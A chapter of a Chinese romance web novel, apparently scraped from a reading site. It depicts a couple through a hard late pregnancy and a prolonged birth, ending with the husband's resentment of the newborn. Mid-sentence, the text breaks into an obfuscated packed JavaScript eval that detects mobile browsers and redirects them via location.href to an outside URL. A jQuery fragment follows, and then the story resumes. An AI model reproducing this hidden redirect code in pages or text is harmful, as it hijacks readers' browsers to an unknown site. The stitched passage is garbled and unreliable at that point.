94. 番外4
作品:《试爱【九零】》 当夜,佟语非焦急地推醒身边的莫道言。
“醒醒,快醒醒,孩子没了……”
莫道言还在梦中与她缠绵,被这句话一惊,霎时模糊了梦境与现实:“我错了,不该小不忍则乱大谋。”
“不是你,是我流血了,下面在流血。”
莫道言打开灯,看见佟语非的睡裙上染了一片褐色,量虽不多,却足以让人心惊。
“别动!”
他立刻轻轻抱起她,迅速下楼,开车直奔医院。
急诊没有妇产科值班医生,他只好打电话把陈如潮叫来,陈如潮细致检查后,告诉他们只是生理性出血,佟语非也没有明显腹痛,基本可排除先兆流产,但由于她本身免疫力较弱,还出现了妊娠贫血,稳妥起见,建议做保胎治疗。
“怎么保?”莫道言急声问。
“目前保胎方法相对单一,主要是补充黄-体-酮和卧床休息,配合中药调理。”
为了孩子,佟语非不得不把自己变成“饭桶”加“药罐”,硬吃平时不爱碰的动物肝脏,有时边吃边吐,佟万提前赶来照顾她,每两天熬一碗当归熟地汤,药味浓重,常让她一闻就反胃,喝一碗吐半碗。
莫道言下班回来,第一件事就是开窗散味,然后躺到她身边,查看她的情况,而后便见识到了中药的威力,就只是她嘴边的那点儿余味,都让他苦不堪言,再看她痛苦难耐的神情,他忍不住低声抱怨:“早知道就不生了。”
“嘘,别乱说。”她拉着他的手,放在腹部,“六七个月了,该长的差不多都长了,能听懂人话了……哎,它在踢你。”
他能清晰感觉到孩子的活跃,不是蹬腿就是伸手,把佟语非的肚子顶得几乎变形,想起她以前生理期都疼得脸色发白,他抽回手,转而抚摸她的脸:“疼吗?”
“这是胎动,不疼的,就是身子沉。”
“等卸了货,就好了。”
“什么卸货?它是生命,不是货物。”
“哦,那等它走了,就好了。”
“是出生!什么走不走的……呸呸呸,快跟我一起呸掉。”
“你是不是太敏感了?”
“是你太不敏感,以后不准说这种话。”
“好,不说。”
莫道言一直记着陈如潮的叮嘱,说左侧卧能缓解胎儿对身体的压迫,于是每晚入睡前,他总会仔细为她垫好枕头,腰后垫一个,腿间夹一个,听说这样不仅能减轻负担,还能促进胎盘供血,又听说适度活动有益身心,但不能久坐久站,便每天早上陪她散十分钟的步。她在外面跑新闻,他鞭长莫及,但在家里,无论她是坐着还是躺着,他总会帮她垫高双脚缓解水肿,并给她做拉伸和按摩,尤其仔细揉捏小腿和脚底,预防抽筋。
“讲讲课吧?你都好几天没做胎教了,现在可是黄金期。”她把腿轻轻挪开,“别只顾着我,给他背首古诗。”
“腿还酸吗?”
“不酸了。”
“早点睡吧。”他从身后抱住她,将脸埋进她的发间,“实在睡不着,就跟我说说话。”
“说什么?”
“工作,稿子,见了什么人,做了什么事……只要关于你的,都成。”
“可我最近这种状态,采访任务少了很多,最近都是写社区活动的稿子。”她摸摸肚子,轻声说,“等宝宝出生,我再继续加油。”
“先养好身体,身体是革命的本钱。”
他轻轻拍着她,这通常是他助她入眠的动作。
她捏捏他的小臂:“不背诗了吗?还有点儿时间呢。”
“读象形字行不行?”
“那只是我喜欢的。”
“母子连心,你喜欢的,就是它喜欢的。”
“可对小孩来说,象形字太复杂了吧?”
“我只对你负责,等它来到这世上,想听喜欢的,就让它去找另一半。”
“瞧你,又说胡话,如果是个女儿,你舍得她嫁人吗?”
“舍不得也得舍,总不能一直留在身边。”他起身拿来象形字大典,读给她听,“孩子的‘子’,有两种形体,均形如幼童,区别是一种有发毛和双腿,头部囟门未合……”
听他解读了几个象形字,她忽然坐起身来:“道言,我饿了。”
“想吃什么?”
“猪肝面。”
其实并不是她自己想吃,而是腹中的孩子想吃,这孩子似乎与寻常婴儿不同,到了最后几个月,她的食量翻了一倍,体重却一斤未长,也就是说,所有的营养都被胎儿吸收殆尽,甚至还在不断消耗着她身体的根本。七个月孕检时,孙表姑预估胎儿体重已达六斤半,为防止胎儿过大,最后这一个多月,要求她严格控制饮食,可孩子依然一天天增重。
为了排除巨大儿的风险,她反复测了几次血糖,结果却都正常,不得不减少进食,又因为吃得太少,她常在深夜饿醒,几乎有些抓狂:“我都不知道该怎么吃了?”
莫道言仍谨记医嘱,主张少食多餐,既能减轻胃的负担,又能保证营养跟得上,这次他没做猪肝面,只煮了半碗清淡的打卤面,又倒了一杯温水,一起端到她面前:“吃点儿你想吃的,别总把它摆前面,就是你太顺着它,它才长个没完。”
“瞧你说的,”她接过面,抬眼看他,“怎么好像你对它很有意见似的?”
“我怎么会对一个还没出生的孩子有意见?”
“就是呀,它也不过是求生本能罢了。”
饭后,他特意端来水,让她直接在床边刷牙洗脸,其实不过几步路,她完全可以自己走,但医生嘱咐要多卧床,而她白天还要上班,增加了不少不确定因素,所以晚上在家,只要是不必她下床的事,他全都一一包办。
重新躺下后,她轻轻偎进他怀里:“难为你了。”
他抚了抚她的发:“生孩子最难,又不能替代。”
如果能替代,他一定会毫不犹豫替她承受,她对此深信不疑,于是仰起脸,在他唇上轻轻吻了一下:“有你这句话,就够了。”
她的唇如灼热的火石,才一触碰,便燎得他浑身滚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454845|175801||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烫,其实自她怀孕以来,他一直恪守分寸,从未越雷池半步,守着守着便也习惯了,但此刻被她这样亲吻,忽然就难以自持了,不自觉地收紧手臂,将她更深地拥入怀中,她察觉他呼吸渐重,试探性地伸出手,想要帮他纾解。
他却轻轻握住她的手腕:“这样隔靴搔痒,反而更磨人。”
“那……你要不自己来?”她转过身去,小声道,“我回避,装没听见。”
他低笑一声:“又不是没忍过,都坚持到现在了。”
“真的没关系吗?”
“只要你别偷亲。”
他转身背对着她,她偶尔也会情动,可一想到孩子,便会压下心绪,选择与他背对而卧。
在克制与等待之间,他们共同守望着那个正在到来的新生命。
---
八一那天,他们的孩子终于出生了。
孩子比孙表姑最后预估的还要重,八斤八两,这个听起来吉祥的数字,让佟语非受了很多罪。
难怪人们说,生儿育女鬼门关。
原本的预产期是七月二十五日,可这个格外贪恋母腹的小生命,硬是多盘踞了七日,又因体重超标,佟语非足足经历了三天的艰难分娩,第一天羊水破裂入院,剧烈的疼痛让她用上了镇痛泵,她本是极能忍耐的人,那一夜却喊哑了嗓子,第二天,她一度昏迷,输液后才被唤醒继续生产。
当监护仪发出尖锐的警报时,莫道言找到孙表姑央求:“能不能多给她用点麻药,或者直接剖宫产?”
孙表姑摇头,语气虽温和,却不容商量:“这时候加麻药,产妇使不上力气,怎么生孩子?”她看了眼监护仪,又耐心补充,“胎儿目前一切正常,说明能承受住宫缩的压力,现在转剖宫产,反而可能增加孩子呼吸方面的风险。”
佟语非的哭喊声在走廊回荡时,莫道言站在观察窗后,几乎咬碎了牙,还记得三天前她被推进待产室的时候,头发刚洗过,又干净又清爽,发梢还飘着洗发水的清香,可现在,她的头发被汗水浸得又乱又黏,像枯败的枯草散乱地贴在额际,原先饱满的嘴唇也干得裂开,渗着血丝。
他一拳拳砸着墙,心下又痛又悔,为什么要让她怀孕,让她遭这样的罪?
当孩子终于呱呱落地的那一刻,他心中没有半分迎接新生命的喜悦,只是心疼地抱住昏死过去的妻子,试图唤醒她。
护士抱着孩子给他看:“看看儿子吧。”
他专注地用棉签蘸水,润湿着佟语非干裂的嘴唇:“抱走,别打扰我老婆。”
整整一天,都没想起看那孩子一眼。
他曾以为,因为自幼体会过母亲有所保留的爱,再加上与佟语非日益深厚的感情,自己一定会是个天生的好父亲,绝不会让孩子感到被冷落,可现实让他明白,即使为人父母,对孩子的爱也并非与生俱来。其实从孕期开始,当胎儿在佟语非腹中折磨得她痛苦不堪时,他就对这个尚未谋面的生命生出了一丝怨意。
若不是无法将孩子塞回去,他真想放弃这个小小的生命。